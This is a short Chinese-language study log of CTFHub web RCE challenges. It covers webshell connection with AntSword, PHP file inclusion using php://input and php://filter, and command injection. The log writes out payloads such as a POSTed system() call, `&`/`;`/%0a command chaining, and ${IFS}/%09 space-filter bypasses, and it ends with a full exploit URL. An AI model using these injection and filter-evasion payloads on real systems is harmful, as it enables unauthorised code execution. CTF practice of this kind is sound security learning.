2.15
eval执行
用蚁剑连接,找flag。
这个连接密码就是被REQUEST的cmd。
文件包含
用get传:file=shell.txt
然后就能用蚁剑连接,密码ctfhub。
翻找得到flag。
php://input
这个题首先会过滤GET到的file,要求file的前6个字符必须是php://
之后有一个include(file),如果file是php代码的话,能够被执行。
所以用get传file=php://input,来通过substr;
并且用post传<?php system('ls')?>;,在include的时候能被执行。
找flag。
cat打开flag文件,获得flag。
2.20
读取源代码
使用php://filter,直接访问?file=php://filter/resource=/flag
3.7
远程包含
直接用php://input 的方法做就可以了。
然后就是翻找flag啦。
3.8
命令注入
格式:127.0.0.1 & 要使用的命令
(使用& 而不是 && : &不管前一句是否成功都会运行后一句
然后注意这个php不能直接用cat,要用base64转码。
再转回来,获得flag。
过滤cat
和上题解法一样。
过滤空格
先看一下,可以看到flag文件。
在shell中可以用${IFS}代替空格。
获得flag。
过滤目录分隔符
这里可以用 ; 来实现多个命令的依次使用。
然后再base64打开flag文件就行。
3.9
过滤运算符
用 ; 代替 & 就行。
base64解码,获得flag。
综合过滤练习
也就是 | & ; 空格 cat flag ctfhub 都被过滤了。
&和;可以用%0a代替,空格就是${IFS},flag有点头晕 直到我看到这样一篇wp:
CTFHub题解-技能树-Web-RCE【过滤目录分隔符、过滤运算符、综合过滤练习】(二)
%09* 补全 绝了!妙蛙种子吃了妙脆角妙到家了!
所以这样构造url:
cat被过滤?直接换成base64就行。
http://challenge-acb93a2af8e1dc46.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0Acd%09*is_here%0abase64${IFS}%09*_22868659918422.php
解码,得flag。
完工咯!